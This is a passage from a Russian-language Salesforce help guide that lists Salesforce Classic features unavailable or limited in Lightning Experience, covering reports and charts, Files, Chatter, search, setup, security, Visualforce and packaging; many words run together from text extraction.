а 5.1  — нет.

Шкалы

В редакторе диаграмм пользователи не могут:Редактор диаграмм

• ограничивать набор отчетных данных для
отображения на диаграмме;

• менять порядок сортировки;

• менять единицу измерения (например, с метров на
сантиметры);

• добавлять более двух агрегатов;

• использовать диаграммы из исходных отчетов.
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Примечания о доступности в Lightning ExperienceФункция

В Lightning Experience, если есть более 100 измерений, то:Диаграммы, содержащие более 100 измерений

• только первые 100 измерений отображаютcя на
диаграмме;

• пользовательская сортировка, заданная в Salesforce
Classic, теряется.

Чтобы обойти эти ограничения, попробуйте задать
фильтры отчетности, возвращающие 100 или меньше
измерений.

Стандартнаяпалитрацветов Lightning Experience заменяет
цвета, заданные пользователями в Salesforce Classic.

Цвета диаграммы

Функции, недоступные в Lightning Experience

Примечания о доступности в Lightning ExperienceФункция

Точечные диаграммы из Salesforce Classic отображаются
в Lightning Experience как горизонтальные.

Точечные диаграммы

Секторные диаграммы из Salesforce Classic отображаются
в Lightning Experience как круговые.

Секторные диаграммы

Линейные диаграммы с накоплением из Salesforce Classic
отображаются в Lightning Experience как линейные без
накопления.

Линейные диаграммы с накоплением

СМ. ТАКЖЕ:

Ограничения для отчетов

Ограничения для панелей мониторинга

Файлы и содержимое: Чего нет в Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при использовании Salesforce Files и других компонентов
содержимого в Lightning Experience. Некоторые данные и функции не поддерживаются новым пользовательским
интерфейсом. Крометого, возможностинекоторыхфункцийотличаютсяотвозможностей, доступныхв Salesforce Classic.

Salesforce Files

• Lightning Experienceнеподдерживаетпредоставлениебиблиотекамобщегодоступа кфайлам, нофайлыбиблиотек
отображаютсянаначальнойстранице «Файлы» интерфейса Lightning Experience, а такжепривыборефайла Salesforce
для добавления в сообщение ленты.

• Файлыивложенияявляютсядвумяразнымитипамиобъектов. Вотличиеотфайловвложениясвязываютсятолько
с определенной записью и не могут публиковаться далее. В Lightning Experience в связанные списки Notes &
Attachments загружаются файлы. В Salesforce Classic вплоть до весны 2016 года, в этот связанный список вместо
файлов всегда загружались вложения. Другими словами, связанный список «Примечания и вложения» текущих
организацийможетсодержатьвложения, загруженныевSalesforce Classic, ифайлы, добавленныев Lightning Experience.
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При использовании API текущие интеграции, извлекающие вложения из связанного списка «Примечания и
вложения», не содержат файлы, загруженные в данный список посредством интерфейса Lightning Experience.
Извлечение файлов и вложений выполняется посредством нового вызова API.

• Действия уровня строки (такие как редактирование и удаление) недоступны для связанных списков «Файлы»,
«Примечанияивложения» и «Общийдоступ» в Lightning Experience. Дляуправленияфайламиприменяйтедействия
уровня строк на начальной странице «Файлы» или быстрые действия на странице описания файла.

Синхронизацияфайлов
Этафункциянедоступнав Lightning Experience. Ноначальнаястраница «Файлы» содержитфильтр «Синхронизировано»,
так что пользователи могу легко обращаться к файлам, синхронизированным в Salesforce Classic.

Salesforce CRM Content
В Lightning Experience нельзя создавать библиотеки и управлять ими, но файлы из библиотек доступны в новом
интерфейсе. Файлы в библиотеках доступны на начальной странице «Файлы» и пользователи могут делиться ими и
работать с данными точно так же как и в Salesforce Files. Пользователи могут просматривать библиотеки, к которым
имеют доступ, и работать с файлами в них из отфильтрованного представления на начальной странице «Файлы».

Документы
Документы недоступны в Lightning Experience.

Files Connect
Пользователинемогут просматривать содержимое во внешнихисточниках данныхна начальной странице «Файлы»
в Lightning Experience, но могут делать это при выборефайлов для вложения в сообщения ленты. Пользователи могут
работать со ссылками на внешние файлы, созданными в Salesforce Classic.

Chatter: Чего нет в Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при сотрудничестве пользователей в Lightning Experience.
Некоторые функции Chatter не поддерживаются. Кроме того, возможности некоторых функций отличаются от
возможностей, доступных в Salesforce Classic.

Ленты
Публикатор Chatter

Lightning Experience позволяет пользователям создавать типы сообщений ниже.

• Текстовых сообщений, с файловыми вложениями и без них

• Опросы

• Сообщения-объявления в лентах групп

Другие типы сообщений, такие как ссылки и благодарности, в данный момент не поддерживаются

Публикация сообщений
Пользователи не могут делиться сообщениями с группами или последователями.

Редактирование сообщений и комментариев
Пользователи не могут редактировать сообщения или комментарии.

Редактор обогащенного текста
Lightning Experience не поддерживает редактор обогащенного текста. Тем не менее, сообщения и комментарии,
создаваемые или редактируемые посредством редактора обогащенного текста в Salesforce Classic, отображаются в
Lightning Experience как отформатированные.
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Фильтрация и сортировка лент
Пользователи не могут применять фильтры для сокращения числа сообщений, появляющихся в лентах Также они
не могут сортировать ленты по времени появления сообщений или комментариев

Утверждения в Chatter
Пользователи Lightning Experience не могут видеть запросы на утверждение в Chatter или временнуюшкалу действий
в записях. Чтобы просмотреть полный список запросов, ожидающих утверждения пользователя, тот должен
переключится на Salesforce Classic (или использовать мобильное приложение Salesforce1).

Темы Chatter
Темы Chatter недоступны.

Вопросы Chatter
Chatterнеподдерживает действие «Вопрос», но Lightning Experienceпозволяетпросматривать текущиевопросывленте.
Кроме того, пользователи могут просматривать лучшие ответы и выбирать лучший ответ или публиковать ответ.

Смайлики
Смайлики недоступны.

Выделенные результаты поиска
При выполнении поиска по ленте результаты поиска не отображают выделенные ключевые слова.

Фильтры результатов глобального поиска
Пользователи не могут фильтровать результаты глобального поиска по ленте.

Сообщения Chatter
Сообщения Chatter недоступны.

Люди и профили
Ниже перечисленыфункции, недоступные при использовании людей и профилей в Lightning Experience.

• Список всех пользователей

• Влияние Chatter

• Ограничение доступности полей «Контакт» и «Общие сведения» для сотрудников, внешних пользователей или
общедоступных пользователей (пользователей-гостей)

• Добавление или изменение порядка отображения вкладок в профилях пользователей

• Эмблема модератора над фотографиями для профилей

• Администраторы не могут добавлять новые действия на страницы профилей пользователей. Данные страницы
отображают только параметры «Правка» и «Сведения о пользователе».

• Пользователи с лицензиями Chatter External не могут редактировать свой профиль.

Группы
Ниже перечисленыфункции, недоступные при использовании групп в Lightning Experience.

• Просмотр рекомендаций по группам на страницах со списковыми представлениями групп.

• Добавление записей в группы посредством действия «Добавить запись» даже после добавления данного действия в
публикатор группы.

• Задействовать функцию «Пригласить людей», для приглашения клиентов в группы, отправляя письма на адреса их
электронной почты. Вместо этого, для этих клиентов следует создать пользователей в вашей организации, затем
применить действие «Добавление участника», чтобы добавить их в группу.
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• Просмотр адреса эл. почты группы или ссылки на публикацию сообщения посредством эл. почты.

Пользователи могут отправлять группе ссылку на публикацию сообщения в группу посредством эл. почты при
наличии или после сохранения адреса эл. почты группы в Salesforce Classic.

• Доступ к параметрам уведомлений Chatter на странице параметров уведомлений группы.

• Удаление файлов из списка файлов группы.

Другие продукты Salesforce: Чего нет в Lightning Experience
Следующие продукты Salesforce не поддерживаются в данной версии Lightning Experience.

• Сообщества Salesforce

Прим.: Сообщества используют возможности интегрированного входа Lightning Experience. Также страницы
настройки Salesforce Communities доступны в Lightning Experience.

• Конструктор сообществ

• Pardot

• RelateIQ

Навигация и действия: Чего нет в Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при навигации и использовании действий в Lightning
Experience. Некоторые функции Salesforce не поддерживаются новым пользовательским интерфейсом. Кроме того,
возможности некоторых функций отличаются от возможностей, доступных в Salesforce Classic.

Навигация
Менюнавигации Lightning Experience заменило панель вкладок

Lightning Experience не поддерживает отображение объектов в виде вкладок. Новый интерфейс заменяет устаревшую
панель вкладок Salesforce Classic на свертываемое меню навигации, расположенное по левую сторону страницы.

Стандартное меню навигации обеспечивает доступ к стандартным объектам Salesforce, присутствующим в Lightning
Experience, а также к начальной странице, элементам Chatter (основная лента, люди и группы), файлам, панелям
мониторинга, отчетам, списку задач и календарю пользователя.

Приложения и настраиваемые объекты доступные из средства запуска приложений
По умолчаниюприложения (включая связанные приложения и наборы вкладок Salesforce) и настраиваемые объекты не
входят в стандартноеменюнавигации Lightning Experience. Еслиорганизацияприменяет стандартноеменюнавигации,

пользователи могут обращаться к этим элементам из средства запуска приложений с помощью в заголовке.
Настраиваемые объекты отображаются списком «Другие элементы».

Несмотря на то, что Lightning Experience не использует набор вкладок Salesforce Classic, рекомендуем создать вкладки
настраиваемых объектов для обеспечения их доступности в новом интерфейсе.

Настраиваемые меню навигации Lightning Experience поддерживают большинство приложений and объектов
Можно создавать настраиваемые меню навигации Lightning Experience и назначать их профилям пользователей,
предоставляя различным типам пользователей меню, настроенные под их нужды. За некоторыми исключениями
можно добавлять большое числоприложений, объектов и других вкладок (включая вкладки Visualforceи компоненты
Lightning), которые появляются в средстве запуска приложений Lightning Experience.

Эти объекты Salesforce можно включать в настраиваемые меню навигации: организации, материалы, кампании,
обращения, контакты, файлы, панелимониторинга, события, статьибазызнаний, интересы, возможности, прайс-листы,
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продукты, отчеты, задачи, клиенты, наряд-заказыидругиенастраиваемыеобъекты. Такжеможнодобавитьначальную
страницу, основную ленту Chatter, группы и людей.

В этом выпуске нельзя включать эти элементы в настраиваемые меню Lightning Experience:

• Связанные приложения, такие как Gmail™, Microsoft Office 365™ и другие приложения из Salesforce ISV

• Вкладки страниц Lightning

Пользователи имеют доступ к этим элементам из средства запуска приложений.

Междуменюнавигации Lightning Experienceи Salesforce1нет связи. Изменения, вносимыевменюнавигации Salesforce1,
не оказывают влияния на стандартные или настраиваемые меню навигации Lightning Experience, верно и обратное
утверждение.

Открытие ссылок в новых окнах и вкладках браузера
Вцелом Lightning Experienceподдерживаетработу справойкнопкоймыши, а также клавиатурныесокращения Windows
и Mac для открытия ссылок в новых окнах и вкладках браузера. Однако, такая функциональность не поддерживается
в некоторых областях приложения, включая:

• ссылки в картах «Популярные сделки» и «Недавние записи» на начальной странице;

• значки действий, кнопки и элементы меню в записях;

• ссылки на примечания;

• ссылки для просмотра отчетов в панелях мониторинга;

• ссылки на страницах настройки в Lightning Experience.

Клавиши быстрого доступа открывают узлы из из меню настройки в новой вкладке или окне. Однако, узлы
«Конструктор схем» и «Импорт данных» открываются в Salesforce Classic вместо Lightning Experience.

Действия и кнопки
Lightning Experience не поддерживает действия и кнопки ниже.

• Глубокое клонирование

• Пакетное удаление

• Пакетные действия на начальных страницах объекта и в списковых представлениях, включая изменение и удаление
нескольких элементов в списке за раз, отправка пакетов писем или добавление нескольких записей в кампанию

• Кнопки общего доступа (за исключением Salesforce Files, включая варианты общего доступа на начальной странице
«Файлы», страницах описания файлов и программе предварительного просмотра файлов)

• Настраиваемые кнопки с содержимым OnClick JavaScript

СМ. ТАКЖЕ:

Что ожидает текущие настройки Salesforce?

Интерактивная настройка: Функции, недоступные в Lightning Experience

Поиск: Чего нет в Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при поиске в Lightning Experience. Некоторые функции
поиска не поддерживаются новым пользовательским интерфейсом. Кроме того, возможности некоторых функций
отличаются от возможностей, доступных в Salesforce Classic.
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Объекты, попадающие в поиск
Только следующие объектымогут быть в результатах поиска: организации, активы, вложения, кампании, обращения,
лента Chatter, группы Chatter, контакты, настраиваемые объекты, панели мониторинга, документы, файлы, интересы,
примечания, возможности, люди, организации-лица, прайс-листы, продукты, отчеты, заказ-наряды и элемент строки
заказа. Элементы задач и событий под поиск не попадают.

Результаты поиска нельзя отфильтровать
Страницы результатов поиска не поддерживают параметрыфильтрации «Точная фраза» и «Ограничиться моими
элементами». Кроме того, вынеможетефильтроватьрезультатыпоиска. Сортировка доступна за исключением групп
Chatter и файлов. Если длина текстового поля в результатах поиска превышает ширину столбца, то в результатах
поиска не будет полного текста. Пользователи не могут увеличивать ширину столбца.

Прииспользовании диалоговых оконпоиска поляфильтра поиска, заданные пользователем, ифильтры зависимого
поиска, заданные администратором, не поддерживаются.

Использование страницы «Популярные результаты» вместо параметра «Искать все»
РезультатыпоисканеподдерживаютвариантИскатьвсе. Страница «Популярныерезультаты» отображаетнаиболее
важныезаписи, сгруппированныепочастоиспользуемымобъектам. Приотсутствииобъектанастранице «Популярные
результаты» рекомендуем использовать раскрывающееся меню «Больше», отображающее все доступные объекты в
алфавитном порядке.

Отсутствие поиска на боковой панели и расширенного поиска
Чтобы выполнить поиск, воспользуйтесь полем глобального поиска в верхнем колонтитуле интерфейса Lightning
Experience.

Отсутствиефиксации на панели области поиска
Пользователинемогутфиксироватьилиизменятьпорядокотображенияобъектов, перечисленныхнапанелиобласти
поискаподполемглобальногопоиска. Панельобластипоискаотображаетчастоиспользуемыеобъектыавтоматически.
Объекты, зафиксированные в Salesforce Classic, влияют на панель области поиска в Lightning Experience.

Ограничение результатов поиска внешнего объекта до 25 элементов
При выполнении поиска внешнего объекта результаты поиска отображают только первые 25 записей.

Невозможность поиска приложений с использованием специального символа
Пользователи не могут использовать специальные символы для поиска приложений по частично совпадающим
критериям или поиска из средства запуска приложений.

Значения валют в результатах поиск не отформатированы
Например, $1,000.00 отображается как USD1000.

Зависимыефильтры поиска не поддерживаются
Администраторы не могут задавать фильтры для подстановок, ссылающихся на поля записи текущего объекта
(исходника). Например: поле обращения «Контакт» может быть настроено таким образом, чтобы отображались
толькоте контакты, которыесвязанысорганизацией, указаннойвполеобращения «Имя организации» тойже записи.
Однако, поддерживаются связанныефильтры поиска, ограничивающие допустимые значения и результаты поиска.
Например, настройте поле поиска Владелец учетной записи показывать только активных пользователей в той же
записи.

Результаты поиска, используемые для макетов диалоговых окон глобального и локального поиска
Чтобы изменить поля, отображаемые в виде столбцов в результатах глобального и локального поиска, используйте
макет поиска Результаты поиска на странице описания объекта в диспетчере объектов. Другие макеты поиска
(«Диалоговые окна поиска», «Диалоговые окна поиска телефона», «Вкладка», «Списковые представления» и «Поля
фильтра поиска») не поддерживаются интерфейсом Lightning Experience.
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Невозможностьподдержкивсехобъектовкнопкой «Создать» привыполнениипоискапосредствомдиалогового
окна поиска

Lightning Experienceпозволяетиспользоватьокнапоискапосредствомдиалоговогоокнапоискадлясозданияследующих
объектов: организации, обращения, контакты, настраиваемыеобъекты, события, интересы, примечания, возможности,
прайс-листы, продукты и задачи. При наличии других объектов рекомендуем создать нужный объект или запись
перед использованиемфункции поиска посредством диалогового окна поиска для связывания записей.

Настройка организации: чего нет в Lightning Experience
Lightning Experienceнеподдерживаетнекоторые аспектыбазовойнастройкисистемы Salesforce. В Lightning Experienceменю
«Настройка» содержит только некоторые страницы настройки, доступные в Salesforce Classic.

Страницы настройки
В большинстве случаев, в Lightning Experience меню «Настройка» отображает только:

• Страницы, поддерживающиефункции Lightning Experience

• Страницы администрирования, применяемые ко всей организации (например, параметры компании, безопасность,
управление пользователями и настройка мобильного приложения)

Чтобы получить доступ к другим страницам настройки (например, страницы для настройки функций Service Cloud),
воспользуйтесь меню «Настройка» в Salesforce Classic.

Расширенное управление валютами
Функция расширенного управления валютами (или датированные курсы обмена) не поддерживается. Тем не менее, при
добавленииполя «Дата закрытия» вмакет страницыстоимость возможностейотображается корректно. Макетыстраниц
определяют пользователей и доступные им данные в записях объекта, поэтому правильная стоимость отображается
только пользователям, которым назначается данный макет страницы.

Поддержка языков
Языки, читаемые справа налево (например, арабский и еврейский), не поддерживаются. Все другие регионы и языки,
поддерживаемые системой Salesforce, поддерживаются.

СМ. ТАКЖЕ:

Интерактивная настройка: Функции, недоступные в Lightning Experience

Программная настройка: Чего нет в Lightning Experience

Импорт данных и управление данными: What’s Not in Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при импорте данных и управлении данными в Lightning
Experience. Некоторые функции Salesforce не поддерживаются новым пользовательским интерфейсом. Кроме того,
возможности некоторых функций отличаются от возможностей, доступных в Salesforce Classic.

Импорт данных

Data.com
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Импорт данных
Lightning Experience не поддерживает устаревшие инструменты импорта данных ниже.

• Организации и контакты

• Интересы

• Решения

• Настраиваемые объекты

Приимпортеменее 50 000 записейрекомендуемиспользоватьмастеримпорта данных. Приимпортеболее 50 000 записей
рекомендуем использовать приложение Data Loader.

Data.com
Data.com Prospector

Пользователи Lightning Experience могут вести только поиск:

• контактов в организациях, уже зарегистрированных в Salesforce;

• компаний в той же корпоративной иерархии, что и организация из Salesforce

Data.com Clean
В Lightning Experience клиенты могут только изучать состояние очистки своих правил очистки и смотреть насколько
хорошо работают правила.

Социальный ключ Data.com
Эта функция недоступна в Lightning Experience.

Автоматизация процессов: Чего нет в Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при использованиифункций автоматизации процессов
в Lightning Experience. Workflow иконструкторпроцессовподдерживаютсяполностью. Visual Workflow иутверждениятакже
поддерживаются, но отличаются некоторыми ограничениями.

Запросы на утверждение
• Пользователи могут просматривать запросы на утверждение посредством уведомлений или связанного списка

«Журнал утверждений» записи, подлежащей утверждению.

• Пользователи Lightning Experience не могут видеть запросы на утверждение в Chatter или временнуюшкалу действий
в записях.

• Чтобы просмотреть полный список запросов, ожидающих утверждения пользователя, тот должен переключится на
Salesforce Classic (или использовать мобильное приложение Salesforce1).

Распространение потоков
Порядок распространения потоков среди пользователей определяется доступностью соответствующейфункции в
Lightning Experience. Например, веб-вкладки не поддерживаются, а страницы Visualforce — да.

Приостановленные сеансы потока
Чтобывозобновитьприостановленныесеансыпотока, переключитесьнаSalesforce Classicиливоспользуйтесьприложением
Salesforce1.
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Безопасность: Функции, недоступные в Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при использовании средств безопасности Salesforce в
Lightning Experience. Некоторые функции не поддерживаются новым пользовательским интерфейсом. Кроме того,
возможности некоторых функций отличаются от возможностей, доступных в Salesforce Classic.

Параметры общего доступа
Lightning Experienceприменяетправилаобщегодоступаорганизации. Меню «Настройка» интерфейса Lightning Experience
поддерживает страницу «Параметрыобщего доступа», нонекоторыепараметрыне применяются интерфейсом Lightning
Experience.

Общий доступ вручную к записям пользователей
Этотфлажокпозволяетвключитьилиотключитьпредоставлениеобщегодоступавручнуюдлязаписейпользователей
с помощью кнопки «Общий доступ». Она доступна только в Salesforce Classic.

Группыменеджеров
Данныйфлажок включает или выключает предоставление группам менеджеров и подчиненных менеджера общего
доступа к записям посредством правил общего доступа, общего доступа, установленного вручную, и управляемого
общего доступа к Apex. Предоставление общего доступа вручную посредством кнопки «Общий доступ»
поддерживается только интерфейсом Salesforce Classic.

Доступность пользователя портала
Данныйфлажокпозволяетпользователямпорталаотображатьсядругимпользователямпортала в тойжеорганизации
или только вышестоящим пользователям в иерархии ролей. Порталы доступны только в Salesforce Classic.

Уровни безопасности сеанса
При использовании политики, требующей высоконадежный сеанс для доступа к отчетам и панелям мониторинга,
интерфейс Lightning Experience блокирует пользователей со стандартным сеансом в отчетах и панелях мониторинга.
Крометого, менюнавигациинеотображает элементы «Отчеты» и «Панелимониторинга». Lightning Experienceнепозволяет
повышать уровень сеанса до высоконадежного путем переадресации пользователя на выполнение двухфакторной
проверки подлинности.

В качестве временного решения пользователи со стандартным сеансом могут выполнить выход и повторный вход
посредством метода проверки подлинности, заданного организацией как высоконадежный. Затем пользователям
предоставляется доступ к отчетам и панелям мониторинга. При необходимости пользователи могут переключиться на
интерфейс Salesforce Classic, позволяющий отображать запросы на повышение уровня сеанса при попытке доступа к
отчетам и панелям мониторинга.

Уровни привилегий сеансов
Привилегиисеансов, полученныхвконтекстеLightning Experienceспомощью $Api.Session_ID или GETSESSIONID(),
аналогичныпривилегиям Lightning. Как и в случае с сеансами Lightning, идентификаторы этих сеансов для вызовов API не
используются.

Безопасность транзакций
При выборе действия для политики безопасности транзакций двухфакторная проверка подлинности для событий типа
AccessResource недоступна. Взамен используется действие «Блокировать».
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Интерактивная настройка: Функции, недоступные в Lightning Experience
Lightning Experience поддерживает большинство интерактивных настроек. Тем не менее, некоторые настройки не
применяются или не поддерживаются новым интерфейсом.

Меню быстрого доступа Force.com
Это меню с клавишами быстрого доступа к разнымфункциям настройки приложений и объектов доступно только
в Salesforce Classic.

Настраиваемыйфирменный стиль
Пользователи не могут применять настраиваемыйфирменный стиль (включая настраиваемые логотипы и цвета) к
новому интерфейсу.

Настраиваемые кнопки JavaScript
Lightning Experience не поддерживает настраиваемые кнопки, использующие источник содержимого «JavaScript». При
необходимостизаменитенекоторыефункции, которыеохватываютданныекнопки, интерактивнымиинструментами
(например, конструктором процессов, Visual Workflow или подходами под управлением кода).

Настраиваемая справка

• Пользователи не могут определять текст настраиваемой справки поля или добавлять справку для полей
настраиваемых объектов.

• Пользователи не могут настраивать элементы меню справки на страницах Lightning Experience. Тем не менее при
создании настраиваемой справки для ссылок «Справка для этой страницы» в интерфейсе Salesforce Classic данные
ссылки продолжают отображать справку после внедрения классических страниц в новый пользовательский
интерфейс (например, в меню «Настройка»).

Объектные настройки
Объектнаянастройка — этокомпонент, создаваемыйдляданногообъекта. Например, поля, макетыстраниц, типызаписей
итриггерыApex. Большинствообъектныхнастроекдоступновразделе «Менеджеробъектов» меню «Настройка». Введите
строку «Менеджер объектов» в поле «Быстрый поиск» меню «Настройка» и выберите пункт «Менеджер объектов».

Прим.: Раздел «Менеджер объектов» (или другие области меню «Настройка») не отображает объекты, связанные с
функциями, которые не поддерживаются интерфейсом Lightning Experience (например, контрольные точки
обращения).

Стандартные поля
Чтобы отредактировать стандартное поле, щелкните имя нужного поля, а затем щелкните «Правка». В отличие от
интерфейса Salesforce Classic, пользователине могут редактировать стандартные поля прямо на странице сведений об
объекте.

Макеты страниц
Настройки страниц записей, выполненные в Salesforce Classic (для стандартных и настраиваемых объектов), также
влияют на страницы записей в Lightning Experience. Тем не менее, некоторые элементы страниц отображаются в
Lightning Experience иначе или вовсе не поддерживаются.

Lightning Experience не поддерживает доступ к макетам страниц для профилей пользователей.

Обращения содержат специальный связанный список, предназначенный для макетов страниц закрытия обращения.

Lightning Experience не поддерживает указанные ниже элементы макетов страниц.

• Пробелы

• Развернутые поиски

• Мобильные карты
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• Элементы S-Control

• Разделы

• Теги

Настройка макетов страниц записей, просматриваемых в Lightning Experience, не может выполняться посредством
расширенногоредакторамакетов страниц. Независимоот выбранногопрофиляилитипа записи, всемпользователям
Lightning Experience отображается одинаковый макет записи.

Триггеры
Раздел «Менеджер объектов» отображает триггеры только при наличии полномочия «Автор Apex».

Триггеры некоторых стандартных объектов не отображаются в разделе «Менеджер объектов» — см. подраздел
Настройки объектов, отсутствующие в разделе «Менеджер объектов». Данные триггеры могут быть доступны
посредством поля «Быстрый поиск» меню «Настройка».

Наборы полей
Lightning Experience не поддерживает наборы полей. При создании набора полей посредством интерфейса Salesforce
Classic области Lightning Experience (например, поля формулы и страницы Visualforce) отображают пользователям
соответствующую глобальную переменную, но не позволяют управлять им.

Правила общего доступа к Apex
Недоступно в Lightning Experience.

Пересчеты общего доступа к Apex
Недоступно в Lightning Experience.

Настройки объектов, отсутствующие в разделе «Менеджер объектов»
Раздел «Менеджер объектов» не содержит некоторые настройки для стандартных объектов (например, триггеры для
комментариев к обращениям). Чтобы получить доступ к данным настройкам, воспользуйтесь полем «Быстрый поиск».
Например, введите строку «Комментарий к обращению» в поле «Быстрый поиск» меню «Настройка» и выберите пункт
«Триггеры комментария к обращению».

Триггеры

• Триггеры комментария к обращению

• Триггеры сообщения эл. почты

• Триггеры FeedComment

• Триггеры FeedItem

• Триггеры группы

• Триггеры участника группы

• Триггеры записи группы

• Триггеры темы

• Триггеры TopicAssignment

Макеты

• Макеты элемента ленты

• Макеты группы
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• Макеты публикатора

СМ. ТАКЖЕ:

Навигация и действия: Чего нет в Lightning Experience

Что ожидает текущие настройки Salesforce?

Макеты страниц в Lightning Experience

Программная настройка: Чего нет в Lightning Experience
Lightning Experience поддерживает большинство программных настроек. Тем не менее, новый интерфейс влияет на
алгоритмы работы некоторых функций (например, Visualforce и страницы Lightning).

Страницы Lightning

Вкладки страницы Lightning и настраиваемые страницы Lightning в данный момент доступны только в мобильном
приложении Salesforce1 и недоступны в Lightning Experience.

Visualforce
Данный выпуск поддерживает бета-версию Visualforce для Lightning Experience, являющуюся полноценной, но имеющую
некоторыеограничения.Нижеперечисленынекоторыеважныерекомендациидляорганизаций, настраивающихсистему
Salesforceпосредством Visualforce. Дополнительнуюинформациюсм. в модуле Trailhead «Visualforce & Lightning Experience».

Перенос Visualforce в элемент iframe в Lightning Experience
При использовании Salesforce Classic Visualforce контролирует всю страницу. При использовании Lightning Experience
выполняется его перенос во встроенный элемент iframe. Данная оболочка использует множество эффектов, поэтому
вопросам ее применения посвящается целый модуль Trailhead.

Невозможность использования sforce.one только для приложения Salesforce1
Ранее объект служебнойпрограммы JavaScript поимени sforce.one поддерживался только страницамиVisualforce,
выполняемымивприложении Salesforce1. Еслиорганизациявключает Lightning Experience, тообъект такжедобавляется
на страницы, выполняемые в Lightning Experience.

Впрошломобнаружение присутствия sforce.one говорило о том, где выполняется код средыпользователя. Если
вашаорганизациявключит Lightning Experience, этотметодперестанетбытьнадежныминдикатором. Начинаяс выпуска
Spring ’16 есть более лучшие, поддерживаемые методы определения контекста работы пользователя.

При наличии кода, который делает предположения на основе наличия sforce.one, рекомендуем обновить его на
использование новых функций.

Невозможность настройки window.location
Стандартный способ, используемый JavaScript для открытия новой страницы, предполагает обработку значения
window.location. Данный способ не поддерживается интерфейсом Lightning Experience. Взамен, рекомендуем
использовать методы навигации sforce.one.

Недоступность переопределения действия над списком объектов
Lightning Experience не поддерживает действие над списком объектов (одно из шести стандартных действий, которое
может быть переопределено посредством страницы Visualforce). Действие может быть переопределено, но будет
недоступно пользователям.
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Постоянная доступность пользовательского интерфейса приложения Lightning Experience
Страницы Visualforce, выполняемые в Lightning Experience, пропускают атрибуты showHeader и showSidebar тега
<apex:page>. Вы не можете скрыть верхний колонтитул и меню навигации Lightning Experience.

Невозможность настройки заголовка страницы
Атрибут title тега <apex:page> не действует.

Отсутствие поддержки Visualforce на начальной странице
Lightning Experience не позволяет настраивать новую начальную страницу, поэтому добавление элементов Visualforce
не поддерживается.

Уровни привилегий сеанса
Сеансы, полученные в контексте Lightning Experience с помощью $Api.Session_ID или GETSESSIONID(), имеют
такие же привилегии как и сеанс Lightning. Как и в случае с сеансом Lightning нельзя использовать ID-коды этих сеансов
для вызова функций API-интерфейса.

Элементы S-Control

Элемент S-control являются устаревшим метод настройки пользовательского интерфейса Salesforce. Они заменены
компонентамиVisualforceи Lightning, которыепревосходятихпо всемпараметрам. Элементы S-Control неподдерживаются
в Lightning Experienceиникогда тамнепоявятся. Есливашаорганизацияиспользует элементы S-control, следуетих заменить
до перехода на Lightning Experience.

СМ. ТАКЖЕ:

Что ожидает текущие настройки Salesforce?

Приложения и пакетирование: Чего нет в Lightning Experience
Lightning Experience поддерживает приложения из каталога AppExchange, сертифицированные как приложения Lightning
Ready. Lightning Experience позволяет пользователям устанавливать пакеты и управлять ими, но не поддерживает другие
функции пакетирования. Вы можете использовать приложение по управлению лицензиями (License Management App) и
рабочий центр (Environment Hub) в Lightning Experience, но другие приложения ISVforce не поддерживаются.

AppExchange
Lightning Experience поддерживает только некоторые приложения из каталога AppExchange. Если приложение
поддерживается, то список AppExchange отображает пометку Lightning Ready. Если приложение не поддерживается,
рекомендуем переключиться на Salesforce Classic.

Lightning Experienceпозволяетиспользоватьприложениябез сертификации Lightning Ready, ноне гарантируетдоступность
или корректнуюработу всехфункций. Данныеприложениямогутнеправильноотображаться в Lightning Experience ввиду
использования оформления Salesforce Classic. Приналичии приложений без сертификации Lightning Ready рекомендуем
использовать Salesforce Classic.

Пакетирование
Lightning Experience позволяет пользователям устанавливать пакеты. Тем не менее, Lightning Experience не поддерживает
назначение лицензий пользователям установленных пакетов. Чтобы назначить лицензию, переключитесь на Salesforce
Classic.
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Lightning Experience не поддерживает функции пакетирования, приведенные ниже.

• Создание пакета

• Загрузка пакета

• Обновление пакета

• Объявление версии пакета нерекомендуемой

• Создание организаций ответвления или исправления

Приложения ISVforce

Приложение License Management App можно использовать для управления лицензиями и работы с подписчиками в
Lightning Experience. Рабочий центр Environment Hub применяется для создания в Lightning Experience пробных, тестовых
и функционирующих организациях и управления ими.

Lightning Experience не поддерживает функции ISVforce, приведенные ниже.

• Channel Order App

• Trialforce

• Usage Metrics Visualization App

Особенности интерфейса Lightning Experience при выключенной
поддержке Chatter

ВЕРСИИ

Chatter доступен в Lightning
Experience в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Если организация не использует Chatter, то Lightning Experience не поддерживает
некоторые полезные возможности. Просмотрите изменения интерфейса Lightning
Experience, препятствующие использованию привычных функций.

Ниже перечислены последствия выключения поддержки Chatter для подгруппы
пользователей (посредством наборов полномочий) или всей организации.

• Недоступность лент и групп.

• Профилипользователейпо-прежнему доступны, но лентыи группы впрофиляхне
доступны.

• Недоступность вкладки сотрудничества в записях.

• Невозможность отслеживания записей или других пользователей.

Информационный центр Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный раздел содержит полезную информацию о работе с Lightning Experience, его
настройке для вашей организации или разработке для нового пользовательского
интерфейса.

Начало работы с Lightning Experience

Видеофайлы

Lightning Experience: быстрое знакомство
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Lightning Experience видеовыпуски

Справка

Найдите свои способы работы с Lightning Experience

Trailhead

Журнал торгового представителя — С использованием Lightning Experience

Оценка и развертывание Lightning Experience для вашей организации

Справка

Отличительные особенности Lightning Experience

Подходит ли Lightning Experience для вашей организации Salesforce

Переход на Lightning Experience: Пора!

Замечания по Lightning Experience

Trailhead

Журнал администратора — Начало работы с Lightning Experience

Журнал администратора — Переход на Lightning Experience

Пакет функций Lightning Experience (архивныйфайл)

Руководства

Оценка и развертывание Lightning Experience для вашей организации

Примечания к выпуску

Функции Lightning Experience в выпуске Spring ’16

Разработка для Lightning Experience

Trailhead

Журнал разработчика — Lightning Experience

Обзор разработки Lightning Experience (модуль Trailhead)

Visualforce и Lightning Experience (модуль Trailhead)

Компоненты Lightning (модуль Trailhead)

Lightning Design System (модуль Trailhead)

297

Информационный центр Lightning ExperienceОценка и развертывание Lightning Experience для вашей
организации

